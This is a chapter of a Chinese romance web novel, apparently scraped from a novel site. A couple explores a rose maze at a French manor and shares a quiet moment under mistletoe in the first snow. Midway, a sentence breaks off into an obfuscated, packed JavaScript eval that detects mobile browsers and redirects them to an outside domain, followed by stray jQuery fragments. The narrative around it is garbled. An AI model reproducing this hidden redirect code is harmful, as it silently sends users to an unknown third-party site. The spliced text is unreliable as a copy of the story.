21. 玫瑰迷宫

作品:《把前男友弄骨折了怎么办

    走出古堡的大门,一排长长的石阶延伸向下,蔓延出一条石砖砌成的长廊。庄园里的雪松都挂上了小彩灯,像发光的果实。


    陶织悦踩在坚硬的石阶上,脚被膈得疼。她索性把鞋子踢掉,赤脚踩地。


    解放了的双脚轻盈点地,快活地跃下阶梯,带着扬起的裙摆向前跑去。


    地上留下一对孤独的高跟鞋,乱七八糟地倒在地上。


    追随者姗姗来迟,留意到遗落的物什,目光在上面掠过,俯身捡起。


    或许是因为这俏皮的行径,他平静的面上闪过一点无奈的笑。


    裴究迈步向前,在长廊尽头的亭子里找到了鞋子的主人。主人正蹲在角落里,蜷成一小团。


    这亭子和整座古堡一样,都由黄白的大石块一块块垒成,经由百年风雨,屹立至今。陶织悦伸出一根手指,搭上那粗糙的石壁,细细感受纹路。


    “有什么特别的?”他耐心问。


    “这可是几百年前遗留下来的建筑!”她盯着那饱经风霜的弧度,又不好意思地干笑两声,“没看出有什么特别。”


    陶织悦顺着高大的石柱,看见顶上有一盏明亮的油灯,在黑夜里打下一束温暖的光。


    亭子变成了舞台,只为主角打上聚焦光束。


    “你过来。”


    陶织悦有点兴奋地抓住他的手,把他带到亭子中央。


    她把他手上的鞋子丢到地上,自顾自地搭上他的肩膀,踩起舞步来。


    “不是跳过了吗?”嘴上这么说,裴究还是轻车熟路地揽住她。


    四周静悄悄,只有彼此的呼吸和脚下的步伐是唯一的声源。


    陶织悦的脸颊漫上一点红润,随性地转了一圈。


    “这里只有我们两个人,跳错了也不怕丢人。”


    她放开了玩,动作的力度也越来越大。陶织悦转得晕乎乎,脚尖刚碰到地面,又被拖着离开。


    她逐渐跟不上对方的步伐,只能把重心都交给对面的人,任由他颠来倒去地折腾。


    怎么变成他玩她了?


    陶织悦忿忿地推开他:“不跳了,不好玩。”


    经过刚刚一顿动作,酒液好像在她胃里摇匀了,充分吸收渗入血液,搅得脑子一团乱。


    她安静下来,转头,瞧见远处有一棵巨大的、被一大片灌木簇拥着的树。


    “那是什么地方?”她扒在亭子边上,凑上去看。


    裴究跟着看过去,回答:“玫瑰迷宫。据说是庄园主为了讨妻子高兴,用玫瑰种出来的一个小园子。”


    那也太酷了。陶织悦指向那棵高大的树,显然不是玫瑰能长到的高度。


    “那棵是什么?”


    裴究挑眉,故意吊着她的胃口:“想不想亲自去看看?”


    陶织悦确实有这个兴致。她提起裙摆,说走就走。


    一路上种满了矢车菊和月季,但都已经过了花期,残留绿叶在冰凉的空气里摇曳。


    酒精的热意渐渐退去,夜晚的寒凉后知后觉地涌上来。


    陶织悦鼻子一酸,打了个喷嚏,胳膊上顿时起了一大片鸡皮疙瘩。


    今晚的气温骤降,比她刚出发的时候冷了不少。


    “我不想去了,外面好冷。”她畏缩着往后退,踩到后面那人的皮鞋上。


    身后的男人弯下腰,将那双高跟鞋摆好,扶着她的后脚跟,为她穿上鞋子。


    手上的茧有点粗糙,搭在肌肤上有着奇异的触感。被他触碰过的地方有什么魔力似的,有点痒有点热,顺着脊梁骨爬上来,让她不自觉绷直了小腿。


    他又慢条斯理地去解外套扣子。陶织悦盯着他的指节在上面点来点去,下一刻,那件外套就落到了她身上。


    若有若无的冷香透过布料逸散出来,细细地萦绕在她的嗅觉上。


    “还去吗?”他低下头认真问她。


    她的问题被尽数解决,没什么再阻止她出发。


    陶织悦点点头,两人又向着那棵大树的方向去。


    “你怎么知道那是玫瑰迷宫?你对这里很熟?”陶织悦反应慢半拍,自问自答,“哦,我忘了你在这里待了好几年。”


    裴究不紧不慢地跟在她旁边,望着那棵树。


    “很多年前来这里的时候,是作为除草工。”他淡淡地讲述过往。


    “那时候生活费紧缺,所以什么活儿都干点。听说这里招人做兼职,我就在这里干了一段时间。工作很简单,就是修理这个玫瑰迷宫。”


    突如其来的袒露,让她措手不及。


    他终于愿意说了。


    陶织悦轻松地摆出一个笑,想让气氛宽慰一些。


    “你就算是除草,也会是除得最好的一个。”她比划着裴究的身板,划过他衬衫下饱满的双臂,“就像你能走出这个小小的园子,走到森德瑞总部,然后……”


    然后,走到她身边。


    得了她的调侃,裴究也有了一个浅浅的笑。


    话语间,层层叠叠的玫瑰灌木已经近在眼前,足有一人高。


    纵横交错的小径组成一个简易的迷宫,中心是那棵直径足能一人怀抱的大树,像一把绿伞。


    胜利触手可得,陶织悦拉住裴究往小径上去,脚下甚至跑了起来。


    她想起小时候玩的游戏。


    在闷热的夏季,窗户开着一条小缝,热气鬼鬼祟祟地溜进来,又被吱呀呀转的旧风扇赶出去。她的眼睛映出电脑的反光,只要摆弄鼠标和按键,人物就会随着自己的意志移动。


    游戏地图上总有各种地标和建筑,她总是认定一个点,随后翻山越岭过去,以此消磨一整个下午。


    这样纯粹、无用的事,已经很久没有做过。


    晃神间,手中空空荡荡。


    陶织悦转身去看,发现自己一个人走到了死胡同。


    什么时候走散的,她浑然不知。


    她从死胡同钻里出来,尝试顺着来时路找到对方。她喊他的名字,却听不到任何回应。


    就这样悄悄的,猝不及防地消失了。


    熟悉的不安感捏着她的心脏,指尖顺势攥紧了裙边。


    耳边有扑腾的动静,她大喜过望地跑过转角,见到一个小小的黑影蹲在灌木丛上。察觉到人的出现,那只鸟挥震翅膀,腾空飞走。


    她快点回到原来那个地方,应该能找到他。


    陶织悦向着起点跑起来,生怕他已经走到其他的分叉口,扬起一阵风。


    然而她转过几个弯,眼前的路更加扑朔迷离。


    放眼望去全是玫瑰灌木。月亮已经藏在云后。唯一的指向标,只有远处的那棵大树。


    对啊。


    为什么一定要在过去的路上找


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16205966|180936||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    对方呢?


    或许他在终点的树下等着她过去呢?


    心上明了,她忽然又有了上路的信心。


    这次她一百八十度调转方向,向着那棵大树去。


    有了一个明确的方向,脚下的路也清晰多了。只要一条小路不通,她就换一条方向相近的路,距离就这样慢慢缩减。


    她终于到树下,气喘吁吁。


    脚下一软,重心倾覆就要摔一跤。


    她的胳膊被拉住,像给一艘风雨中的小船下了船锚一样,稳稳把她固定住。


    裴究手疾眼快地拉住她,顺手把她乱蓬蓬的发拢好,勾到耳后。


    “找到你了。”她笑眯眯地望着他。


    “嗯,找到了。”他点头,眼睛不再从她脸上移开。


    陶织悦走近那棵树,探头探脑地转了一圈,有点失望。


    “只是一棵普通的乔木,比较大而已。”她坐在树下的长椅上,捶捶自己的腿。


    她抬头问:“你也没来过这里吧?不然就知道这里没什么好看的了。几点了?”


    裴究没戴手表,把手机递给她。


    屏幕一亮,已经是晚上十点多了。


    然而更引人注目的是他的锁屏壁纸——那张她和裴究在雪山下的合影。


    阮沂几个小时前刚发的图,他就已经设置好了。


    “你怎么快就把图偷过来了?”


    “这照片上不也有我吗?”他理直气壮地收回手机,“拿自己的照片,也算偷吗?”


    陶织悦不再理会他的贫嘴,晃悠着两条腿往后靠,躺在椅背上。


    “今晚怎么没有星星,真煞风景。”她盯着黑漆漆的天,打了个哈欠。


    又是运动又是微醺,实在是累了。


    她迷糊地眨眼,困意上涌。


    白天还是晴空万里,晚上却没见到月亮。裴究也没想明白。


    他望一眼天,却看到灯下有飞絮飘舞。


    不像是趋光的小虫子,反倒像是——雪花。


    有一小片落到他的鼻尖,凉凉的。细小的雪一点一点地落下来,不细心则难以察觉。


    这是法国今年的第一场雪,就这样猝不及防地降临。


    他垂头,身边的人早已睡了过去,呼吸平稳。


    有点失落,他无奈地笑了。


    裴究抬手,将她的脑袋扶到自己的肩上,独自看着雪片飘转着落下。


    其实他来过这里,也知道这棵树只是一棵普通的乔木。唯一特别的,是这棵乔木上寄生了一大丛槲寄生,就在他们的头顶。


    可惜天太黑,她没有发现。


    裴究想起很多年前,一起干活的同行和他开玩笑,告诉他:几年后要带着自己喜欢的女孩来这里,这样她就无法拒绝自己的亲吻。


    在槲寄生下必须接吻,是北欧人心照不宣的传统。人们相信,在结果的槲寄生下亲吻的情侣可以共度一生。


    他没有得到初雪的那个承诺,心想着应该弥补一些什么。


    难得地紧张起来,他搭在椅边的手不自觉蜷起来,嘴唇抿起,心也不稳地乱跳。


    近了,近了。


    他咽了下唾沫,盯着那柔软红润的唇瓣,又犹豫起来。


    纠结了几秒,他认命地叹气,只是在额头上轻轻落下一吻。


    “晚安。”他说。